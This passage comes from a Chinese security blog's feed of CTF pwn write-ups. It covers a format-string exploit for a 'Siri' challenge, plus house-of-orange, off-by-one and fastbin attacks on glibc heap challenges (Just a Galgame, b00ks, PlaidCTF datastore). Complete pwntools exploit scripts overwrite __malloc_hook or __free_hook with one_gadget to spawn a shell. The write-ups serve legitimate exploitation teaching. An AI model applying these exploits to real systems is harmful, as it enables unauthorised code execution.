= remote(<span class="string">'123.56.170.202'</span>, <span class="number">12124</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">"./Siri"</span>)</span><br><span class="line"></span><br><span class="line">p.sendafter(<span class="string">"&gt;&gt;&gt; "</span>, <span class="string">"Hey Siri!"</span>)</span><br><span class="line">p.sendafter(<span class="string">"&gt;&gt;&gt; "</span>, <span class="string">"Remind me to %&#123;&#125;$p"</span>.format(<span class="number">0x4d</span>+<span class="number">6</span>))</span><br><span class="line">p.recvuntil(<span class="string">"OK, I'll remind you to "</span>)</span><br><span class="line">base = int(p.recvline().strip(), <span class="number">16</span>) - libc.symbols[<span class="string">'__libc_start_main'</span>] - <span class="number">231</span></span><br><span class="line"></span><br><span class="line">one_gadget = base + <span class="number">0x4f365</span></span><br><span class="line"></span><br><span class="line">p.sendafter(<span class="string">"&gt;&gt;&gt; "</span>, <span class="string">"Hey Siri!"</span>)</span><br><span class="line">p.sendafter(<span class="string">"&gt;&gt;&gt; "</span>, <span class="string">"Remind me to %46$p"</span>)</span><br><span class="line">p.recvuntil(<span class="string">"OK, I'll remind you to "</span>)</span><br><span class="line">stack = int(p.recvline().strip(), <span class="number">16</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">write</span><span class="params">(addr, val)</span>:</span></span><br><span class="line">    p.sendafter(<span class="string">"&gt;&gt;&gt; "</span>, <span class="string">"Hey Siri!"</span>)</span><br><span class="line">    payload = <span class="string">b"Remind me to "</span></span><br><span class="line">    num = val + <span class="number">256</span> - <span class="number">28</span></span><br><span class="line">    payload += <span class="string">'%&#123;&#125;cA'</span>.format(num).encode() <span class="comment"># 6</span></span><br><span class="line">    payload += <span class="string">b'%15$hhn'</span></span><br><span class="line">    payload += p64(addr)</span><br><span class="line">    pause()</span><br><span class="line">    p.sendlineafter(<span class="string">"&gt;&gt;&gt; "</span>, payload)</span><br><span class="line">    p.recvuntil(<span class="string">"OK, I'll remind you to "</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">6</span>):</span><br><span class="line">    num = (one_gadget &gt;&gt; (i*<span class="number">8</span>)) &amp; <span class="number">0xff</span></span><br><span class="line">    write(stack+<span class="number">8</span>+i, num)</span><br><span class="line">pause()</span><br><span class="line">leave_ret = <span class="number">0xC1</span></span><br><span class="line">write(stack<span class="number">-280</span>, leave_ret)</span><br><span class="line"></span><br><span class="line">print(hex(base))</span><br><span class="line">print(hex(one_gadget))</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="just-a-galgame"><a href="#just-a-galgame" class="headerlink" title="just a galgame"></a>just a galgame</h2><p>不得不说，这道题的场景出的特别有意思，很多地方的限制还原了真实的galgame（&gt;_&lt;死宅真恶心~）。</p><p>简单说一下功能，送礼物能malloc(0x68)，最多能分配7次，去看电影能做一个堆溢出修改，刚开始只有一次，但是在执行完表白之后能在获得一次修改机会，表白是申请一个0x1000长度的chunk，查看CG能输出指针内容的信息，最后是退出功能，也能写一个bss段上数据。</p><p>这道题最明显的特征就是没有free的功能，可以联想到<code>house of orange</code>，这种利用技巧能在没有free的情况下把缩小过后的<code>top chunk</code>放进<code>unsorted bin</code>中，这样我们再次分配chunk的时候会从<code>unsorted bin</code>中获取，如果分配之后没有写入啥的，就可以泄露出libc地址。</p><h3 id="house-of-orange"><a href="#house-of-orange" class="headerlink" title="house of orange"></a>house of orange</h3><p>这种利用技巧需要堆溢出能够覆盖到<code>top chunk</code>的size部分，让它缩小，再申请一个比它size更大的chunk，让这个<code>top chunk</code>进入<code>unsorted bin</code>中，随后堆管理器会扩大堆的大小分配一个新的<code>top chunk</code>。</p><p>在这道题中，我们先申请一个chunk，用做溢出<code>top chunk</code>，随后利用看电影的功能它能溢出到size区域，由于<code>top chunk</code>需要页对齐，所以它的chunk结束处末尾的地址必须为000。由于大chunk的申请大小为0x1000，直接保留最后三位就能满足条件，这里的伪造size为0xd41。最后执行表白功能，申请大chunk，由于<code>top chunk</code>的大小不满足申请大小，也没有其他地方能够满足，最终堆管理器会把<code>top chunk</code>加入<code>unsorted bin</code>中，同时扩大堆的范围获得新的堆空间。</p><p>这时，我们再次申请0x68大小的chunk，根据分配规则会从<code>unsorted bin</code>中进行切分，我们拿到的chunk之后调用输出功能，会把chunk中的数据部分打印出来，这里因为分配之后不会对chunk做初始化或者写入数据操作，能够泄露出libc地址。</p><h3 id="写one-gadget"><a href="#写one-gadget" class="headerlink" title="写one_gadget"></a>写one_gadget</h3><img src="/2020/09/15/2020qwb-qwxf-pwn/5.png"><p>这里要用到另外一个漏洞点了，在看电影功能中会有一个在指针函数中选择指针的过程，而这个下标没有被限制，也就是说我们可以越界写数据，前提是越界的地方是有存放数据的。正好，在指针数组的下方就有一个全局的变量，同时也有功能能写入数据，这样写入我们需要的地址，通过越界访问的方式拿到地址，可以向任意地址写入0x10字节的内容。</p><p>剩下的就是目标选择，这里没有free，所以选择<code>__malloc_hook</code>，向其中写入one_gadget，再次分配即可触发拿到shell。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="comment"># author: hurricane618</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">elf = ELF(<span class="string">'./Just_a_Galgame'</span>)</span><br><span class="line">libc = elf.libc</span><br><span class="line">    </span><br><span class="line"><span class="keyword">if</span> args[<span class="string">'D'</span>]:</span><br><span class="line">    context.log_level = <span class="string">'debug'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args[<span class="string">'R'</span>]:</span><br><span class="line">    io = remote(<span class="string">''</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    io = process(<span class="string">'./Just_a_Galgame'</span>)</span><br><span class="line">    </span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">gift</span><span class="params">()</span>:</span></span><br><span class="line">    io.sendlineafter(<span class="string">'&gt;&gt; '</span>, <span class="string">'1'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">movie</span><span class="params">(index, data)</span>:</span></span><br><span class="line">    io.sendlineafter(<span class="string">'&gt;&gt; '</span>, <span class="string">'2'</span>)</span><br><span class="line">    io.sendlineafter(<span class="string">'idx &gt;&gt; '</span>, str(index))</span><br><span class="line">    io.sendafter(<span class="string">'movie name &gt;&gt; '</span>, data)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">confess</span><span class="params">()</span>:</span></span><br><span class="line">    io.sendlineafter(<span class="string">'&gt;&gt; '</span>, <span class="string">'3'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">collection</span><span class="params">()</span>:</span></span><br><span class="line">    io.sendlineafter(<span class="string">'&gt;&gt; '</span>, <span class="string">'4'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exit</span><span class="params">(data)</span>:</span></span><br><span class="line">    io.sendlineafter(<span class="string">'&gt;&gt; '</span>, <span class="string">'5'</span>)</span><br><span class="line">    io.sendafter(<span class="string">'QAQ'</span>, data)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">gift()  <span class="comment"># 0</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># pause()</span></span><br><span class="line"></span><br><span class="line">movie(<span class="number">0</span>, p64(<span class="number">0</span>) + p64(<span class="number">0xd41</span>))</span><br><span class="line">pause()</span><br><span class="line">confess()  <span class="comment"># malloc 0x1000</span></span><br><span class="line">pause()</span><br><span class="line">gift()  <span class="comment"># 1</span></span><br><span class="line">collection()  <span class="comment"># leak libc</span></span><br><span class="line"></span><br><span class="line">leak_addr = u64(io.recvuntil(<span class="string">'\x7f'</span>)[<span class="number">-6</span>:].ljust(<span class="number">8</span>, <span class="string">'\x00'</span>))</span><br><span class="line">libc_addr = leak_addr - <span class="number">0x3ec2a0</span></span><br><span class="line"></span><br><span class="line">info(<span class="string">'libc_addr: '</span> + hex(libc_addr))</span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">0x4f2c5 execve("/bin/sh", rsp+0x40, environ)</span></span><br><span class="line"><span class="string">constraints:</span></span><br><span class="line"><span class="string">  rcx == NULL</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0x4f322 execve("/bin/sh", rsp+0x40, environ)</span></span><br><span class="line"><span class="string">constraints:</span></span><br><span class="line"><span class="string">  [rsp+0x40] == NULL</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0x10a38c execve("/bin/sh", rsp+0x70, environ)</span></span><br><span class="line"><span class="string">constraints:</span></span><br><span class="line"><span class="string">  [rsp+0x70] == NULL</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">malloc_hook = libc_addr + libc.sym[<span class="string">'__malloc_hook'</span>]</span><br><span class="line">one = [<span class="number">0x4f2c5</span>, <span class="number">0x4f322</span>, <span class="number">0x10a38c</span>]</span><br><span class="line">one_gadget = one[<span class="number">1</span>] + libc_addr</span><br><span class="line"></span><br><span class="line">exit(p64(malloc_hook - <span class="number">0x60</span>))</span><br><span class="line">pause()</span><br><span class="line">movie(<span class="number">8</span>, p64(one_gadget))</span><br><span class="line">gift()</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;受到摸鱼和各种项目压力之后，终于发出来了，这次是强网杯中强网先锋的4道pwn题，剩下的pwn题还在陆续复现ing，在做了在做了ing&lt;/p&gt;
&lt;h2 id=&quot;babymessage&quot;&gt;&lt;a href=&quot;#babymessage&quot; class=&quot;headerlink&quot; tit
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="CTF" scheme="https://hurricane618.me/tags/CTF/"/>
    
      <category term="stackoverflow" scheme="https://hurricane618.me/tags/stackoverflow/"/>
    
      <category term="heap" scheme="https://hurricane618.me/tags/heap/"/>
    
  </entry>
  
  <entry>
    <title>glibc堆利用之off by one的两道CTF题目</title>
    <link href="https://hurricane618.me/2020/08/07/glibc-pwn-off-by-one-1/"/>
    <id>https://hurricane618.me/2020/08/07/glibc-pwn-off-by-one-1/</id>
    <published>2020-08-07T13:32:14.000Z</published>
    <updated>2020-08-07T13:32:14.577Z</updated>
    
    <content type="html"><![CDATA[<h2 id="b00ks"><a href="#b00ks" class="headerlink" title="b00ks"></a>b00ks</h2><p>这是一道asis ctf 2016的题目，主要功能是书本记录，除了基本的书本的增删改查功能，还有一个作者名称的改变。程序是一个基本保护除了canary其他全开的64位程序。</p><p>调试写exp的过程参考了ctf-wiki，<a href="https://xz.aliyun.com/t/6087" target="_blank" rel="noopener">先知社区一篇文章</a>，和<a href="https://cq674350529.github.io/2018/06/05/asis-ctf-2016-pwn-b00ks/" target="_blank" rel="noopener">另外一个博客</a>。很多细节上面的文章已经写的很详细了，我补充一些其他细节点。</p><p>这里漏洞的问题是出现在程序自定义的读取函数中，在读完规定长度的数据之后又会在末尾填一个0，这样就会溢出一个空字节。这种漏洞被称为OBO（off by one），这里一共使用了两次，第一次是先把作者name全部填满，这样溢出的0字节就在下一个区域中，随后这个程序有一个管理全局书本的指针数组写在这个name后面，这个操作会覆盖掉那个溢出的0字节，恰巧这个name会被当做字符串输出这样后面的指针就被泄露；第二次是在name后面有指针数组的情况下我们继续重复填充满name字段，这样0字节就会覆盖指针数组中的第一个指针的最低位，改变指针指向的地址，使得指向我们伪造的数据结构。</p><p>所以，obo漏洞可以做到：</p><ol><li>如果该漏洞后面有数据写入，有可能泄露数据</li><li>可以通过溢出一个字节改变指针指向的位置，让它指向伪造的数据。如果在name后面的是其他重要的数据，也可以覆盖达到一些其他效果</li></ol><p>这里伪造数据结构是第二个难点，如果我们在分配空间的时候太小，有可能在覆盖成0字节之后超过了我们能写入的范围，所以在分配的时候尽量大一点。创建书本的过程会先创建book_name，随后是book_description，最后是创建书本的数据结构。结构如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span>&#123;</span></span><br><span class="line">    <span class="keyword">int</span> book_id</span><br><span class="line">    <span class="keyword">char</span>* book_name</span><br><span class="line">    <span class="keyword">char</span>* book_description</span><br><span class="line">    <span class="keyword">int</span> book_size</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个结构的指针会被写入name后面的指针数组中。我们能改变的只有description部分，在我们覆盖指针数组中的第一个指针末尾的0字节之后，让其指向description区域，我们在其中就可以伪造结构，让那两个指针指向我们想要读/写的地方，我们就可以任意读写。</p><p>这里的description的偏移需要自己调试来计算，如果是在真实环境下，可能需要循环多试很多次。</p><p>由于开启了FULL RELRO，我们不能直接修改got表，所以这里想到的方法是改写<code>__free_hook</code>或<code>__malloc_hook</code>。但是改写这个就需要libc的地址，我们怎么搞到呢？其实我们在有任意读写的时候，创建一个很大的book2，这样分配内存的时候就会使用mmap的方式，读取到这个地址去计算与libc基地址的offset，之后实际中拿到地址减去这个offset就是libc基地址。</p><p>最后，拿到<code>__free_hook</code>的地址覆盖book2的description指针，之后再对book2的description写入我们的one-gadget，这样一旦出现free，检查到<code>__free_hook</code>不为空，就会执行触发getshell。</p><h3 id="另外的方法"><a href="#另外的方法" class="headerlink" title="另外的方法"></a>另外的方法</h3><p>这里另外的方法就是unlink，这里的off-by-one的漏洞很神奇，不仅仅是在改名字那里有，在修改book描述的地方也有1字节的溢出，只是两种溢出的方式触发不太一样。</p><img src="/2020/08/07/glibc-pwn-off-by-one-1/1.png"><p>在改名字那里因为给入的是32，所以a2为32，最后退出是循环是因为回车，而改book描述那里是因为给定的输入为<code>长度-1</code>，最后多写一个字节是因为长度到了。</p><p>所以思路就是让一个book的描述部分伪造出一个chunk，同时溢出一个字节，让下面的描述chunk部分的size最低字节为0，这样我们在free下面的chunk时，会和上面的伪造区块合并，这个时候就会触发unlink，修改一个指定指针。这个指定指针我们选的是book4的描述指针，这样指针移动到了前面，我们再次编辑book4就能修改book4的描述指针指向其他我们的可控区域，比如这里的book6的描述指针区域。通过修改book4的描述就能控制book6的描述指针，改完之后用打印就能任意读数据，如果再修改book6的描述内容就是任意写。</p><p>有了任意读写，这里就还是一样的思路先泄露libc地址，然后找<code>__free_hook</code>，我们在里面写入<code>system</code>的地址，最后free掉book6，因为book6的名字部分是<code>/bin/sh</code>所以就能getshell。</p><h2 id="datastore"><a href="#datastore" class="headerlink" title="datastore"></a>datastore</h2><p>这个是2015 plaidctf的题目，一共有四个操作指令GET、PUT、DUMP、DEL，其中的数据结构逆向较一般的题目要更为复杂，最核心的是一个树结构，如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">node</span>&#123;</span></span><br><span class="line">    <span class="keyword">char</span> *key;</span><br><span class="line">    <span class="keyword">long</span> size;</span><br><span class="line">    <span class="keyword">char</span> *data;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">node</span> *<span class="title">left</span>;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">node</span> *<span class="title">right</span>;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">node</span> *<span class="title">parent</span>;</span></span><br><span class="line">    <span class="keyword">bool</span> is_leaf;</span><br></pre></td></tr></table></figure><p>整个逆向的过程有点复杂，首先是通过树节点第一次初始化那里大概能够判断出前面三个成员，后面的四个结构成员需要结合DUMP和DEL来综合判断。以后遇到这种拥有很多指针而且经常有规律改动的数据结构就可以往树的结构猜想了。</p><p>然而对程序整体分析之后发现，漏洞利用和这个树结构关系不大，最重要的关系是其中的堆分配操作，有点蛋疼。。。这个程序的漏洞点在自定义的一个输入函数中（0x1040）。</p><img src="/2020/08/07/glibc-pwn-off-by-one-1/2.png"><p>我们把chunk填满的时候，v1会指向下一字节，如果这个时候末尾是<code>\n</code>，就会退出循环向v1指向的地方写入0，这就溢出了一个null字节。</p><p>这道题和上一道题不一样的地方在于溢出周围的数据不一样，上一道题能够溢出修改指针，但是这道题只能溢出到chunk管理结构中的size上。不过尽管只能溢出到size上还是能发挥出巨大的威力，size中的最后一位表示上个chunk是否在使用，覆盖之后可以让堆管理操作合并堆块构造出UAF的情况。其中的方法采用的ctf-wiki的<a href="https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/off_by_one-zh/#_9" target="_blank" rel="noopener">思路</a>。</p><h3 id="leak-libc"><a href="#leak-libc" class="headerlink" title="leak libc"></a>leak libc</h3><p>为了构造出我们可控的堆块顺序，首先会分配很多data大小为0x38的块，然后再释放掉，这样之后需要分配的时候就会从fastbin中获取，而不会破坏我们构造的堆块顺序。</p><p>为了构造出chunk overlap的情况，需要有堆块合并，所以在首尾的堆块必须要超过fastbin的大小，最后的堆块被当做溢出的对象还需要保证堆块大小为0x100的整数倍，这样溢出覆盖不会产生其他的影响。</p><p>在这两个堆块中间需要有个堆块拿来泄露libc地址，然后有个堆块拿来作为fastbin attack，最后还有个堆块拿来溢出到下一块。（在ctf-wiki里面的说法存在一点问题，提到用于溢出的块时说需要为small bin或者unsorted bin的堆块，其实不需要这个限制，只要保证不被0x20和0x40的堆块影响就行，所以这里换成0x80的堆块也是可以的，申请的大小为0x78）</p><p>最终完整的堆块构造如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">+------------+</span><br><span class="line">|      1     |  &lt;-- free 的 size == 0x200 chunk</span><br><span class="line">+------------+</span><br><span class="line">|      2     |  &lt;-- size == 0x60 fastbin chunk，已被分配，且可以读出数据</span><br><span class="line">+------------+</span><br><span class="line">|      5     |  &lt;-- size == 0x71 fastbin chunk，为 fastbin attack 做准备</span><br><span class="line">+------------+</span><br><span class="line">|      3     |  &lt;-- size == 0x200 free 状态的 smallbin/unsortedbin chunk 可写size为0x1f8</span><br><span class="line">+------------+</span><br><span class="line">|      4     |  &lt;-- size == 0x101 被溢出 chunk</span><br><span class="line">+------------+</span><br><span class="line">|      X     |  &lt;-- 任意分配后 chunk 防止 top 合并</span><br><span class="line">+------------+</span><br></pre></td></tr></table></figure><p>先逐次分配上面的堆块，末尾的防合并堆块可以小一点否则small bin和unsorted bin中没有合适的堆块会触发堆块的整合，然后释放5，3，1，随后溢出修改堆块4的pre_size和size，释放堆块4，让前面的1，2，5，3和4合并成一个大块放入unsorted bin中，最后再次分配0x200大小的堆块，unsorted bin会在堆块2中写入main_arean的地址，读出2之后可以获得libc的地址。</p><h3 id="fastbin-attack"><a href="#fastbin-attack" class="headerlink" title="fastbin attack"></a>fastbin attack</h3><p>我们拿到libc地址之后，再次分配一个覆盖原来堆块2和堆块3的大小比如：0x100，这样修改fastbin中的fd指针，指向我们想要伪造的堆块，这里选择的是<code>__malloc_hook</code>，通过小幅度偏移伪造正常的堆块。最终的利用就很简单了，分配两次0x60的堆块，在第二次写入one_gadget到<code>__malloc_hook</code>中，随便输入一些指令就能触发malloc，拿到最后的shell。</p><h3 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context(log_level=<span class="string">'debug'</span>)</span><br><span class="line">io = process(<span class="string">'./datastore'</span>)</span><br><span class="line">libc = ELF(<span class="string">'/lib/x86_64-linux-gnu/libc.so.6'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get</span><span class="params">(key)</span>:</span></span><br><span class="line">    io.recvuntil(<span class="string">'command:\n'</span>)</span><br><span class="line">    io.sendline(<span class="string">'GET'</span>)</span><br><span class="line">    io.recvuntil(<span class="string">'key:\n'</span>)</span><br><span class="line">    io.sendline(key)</span><br><span class="line">    io.recvuntil(<span class="string">'['</span>)</span><br><span class="line">    num = int(io.recvuntil(<span class="string">' byte'</span>, drop=<span class="keyword">True</span>))</span><br><span class="line">    io.recvuntil(<span class="string">':\n'</span>)</span><br><span class="line">    <span class="keyword">return</span> io.recv(num)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">put</span><span class="params">(key, size, data)</span>:</span></span><br><span class="line">    io.recvuntil(<span class="string">'command:\n'</span>)</span><br><span class="line">    io.sendline(<span class="string">'PUT'</span>)</span><br><span class="line">    io.recvuntil(<span class="string">'key:\n'</span>)</span><br><span class="line">    io.sendline(key)</span><br><span class="line">    io.recvuntil(<span class="string">'size:\n'</span>)</span><br><span class="line">    io.sendline(str(size))</span><br><span class="line">    io.recvuntil(<span class="string">'data:\n'</span>)</span><br><span class="line">    <span class="keyword">if</span> len(data) &lt; size:</span><br><span class="line">        io.send(data.ljust(size, <span class="string">'\x00'</span>))</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        io.send(data)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span><span class="params">(key)</span>:</span></span><br><span class="line">    io.recvuntil(<span class="string">'command:\n'</span>)</span><br><span class="line">    io.sendline(<span class="string">'DEL'</span>)</span><br><span class="line">    io.recvuntil(<span class="string">'key:\n'</span>)</span><br><span class="line">    io.sendline(key)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">10</span>):</span><br><span class="line">    put(str(i), <span class="number">0x38</span>, str(i))</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">10</span>):</span><br><span class="line">    delete(str(i))</span><br><span class="line"></span><br><span class="line">pause()</span><br><span class="line">put(<span class="string">'1'</span>, <span class="number">0x200</span>, <span class="string">'1'</span>)</span><br><span class="line">put(<span class="string">'2'</span>, <span class="number">0x50</span>, <span class="string">'2'</span>)</span><br><span class="line">put(<span class="string">'5'</span>, <span class="number">0x68</span>, <span class="string">'5'</span>)</span><br><span class="line">put(<span class="string">'3'</span>, <span class="number">0x1f8</span>, <span class="string">'3'</span>)</span><br><span class="line">put(<span class="string">'4'</span>, <span class="number">0xf0</span>, <span class="string">'4'</span>)</span><br><span class="line">put(<span class="string">'defense'</span>, <span class="number">0x40</span>, <span class="string">'defense-data'</span>)</span><br><span class="line">pause()</span><br><span class="line"></span><br><span class="line"><span class="comment"># free those need to be freed</span></span><br><span class="line">delete(<span class="string">'5'</span>)</span><br><span class="line">delete(<span class="string">'3'</span>)</span><br><span class="line">delete(<span class="string">'1'</span>)</span><br><span class="line"></span><br><span class="line">delete(<span class="string">'a'</span> * <span class="number">0x1f0</span> + p64(<span class="number">0x4e0</span>))</span><br><span class="line"></span><br><span class="line">delete(<span class="string">'4'</span>)</span><br><span class="line">pause()</span><br><span class="line"></span><br><span class="line"><span class="comment"># put('0x200', 0x200, 'fillup')  # get another chunk 0x200</span></span><br><span class="line">put(<span class="string">'0x200 fillup'</span>, <span class="number">0x200</span>, <span class="string">'fillup again'</span>)</span><br><span class="line"></span><br><span class="line">libc_leak = u64(get(<span class="string">'2'</span>)[:<span class="number">6</span>].ljust(<span class="number">8</span>, <span class="string">'\x00'</span>))</span><br><span class="line">info(<span class="string">'libc leak: 0x%x'</span> % libc_leak)</span><br><span class="line"></span><br><span class="line">libc_base = libc_leak - <span class="number">0x3c4b78</span></span><br><span class="line"></span><br><span class="line">info(<span class="string">'libc_base: 0x%x'</span> % libc_base)</span><br><span class="line"></span><br><span class="line">put(<span class="string">'fastatk'</span>, <span class="number">0x100</span>, <span class="string">'a'</span> * <span class="number">0x58</span> + p64(<span class="number">0x71</span>) + p64(libc_base + libc.symbols[<span class="string">'__malloc_hook'</span>] - <span class="number">0x10</span> + <span class="number">5</span> - <span class="number">8</span>))  <span class="comment"># change fd</span></span><br><span class="line">put(<span class="string">'prepare'</span>, <span class="number">0x68</span>, <span class="string">'prepare data'</span>)</span><br><span class="line"></span><br><span class="line">one_gadget = libc_base + <span class="number">0x4526a</span></span><br><span class="line">put(<span class="string">'attack'</span>, <span class="number">0x68</span>, <span class="string">'a'</span> * <span class="number">3</span> + p64(one_gadget))</span><br><span class="line"></span><br><span class="line">io.sendline(<span class="string">'DEL'</span>) <span class="comment"># malloc(8) triggers one_gadget</span></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><h3 id="其他思路"><a href="#其他思路" class="headerlink" title="其他思路"></a>其他思路</h3><p><a href="https://0x3f97.github.io/pwn/2018/01/27/plaidctf2015-plaiddb/" target="_blank" rel="noopener">https://0x3f97.github.io/pwn/2018/01/27/plaidctf2015-plaiddb/</a></p><p>详细一点的有看雪的一个<a href="https://bbs.pediy.com/thread-246966.htm" target="_blank" rel="noopener">帖子</a>和先知社区的<a href="https://xz.aliyun.com/t/6169#toc-3" target="_blank" rel="noopener">帖子</a></p><p>这个做法更加复杂，没有像上面的做法先释放很多堆块拿来当做树结构堆块，这样就要考虑到每次树结构的分配对堆块布局的影响，并且最后在覆盖的时候需要考虑不破坏之前堆上的数据。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>off by 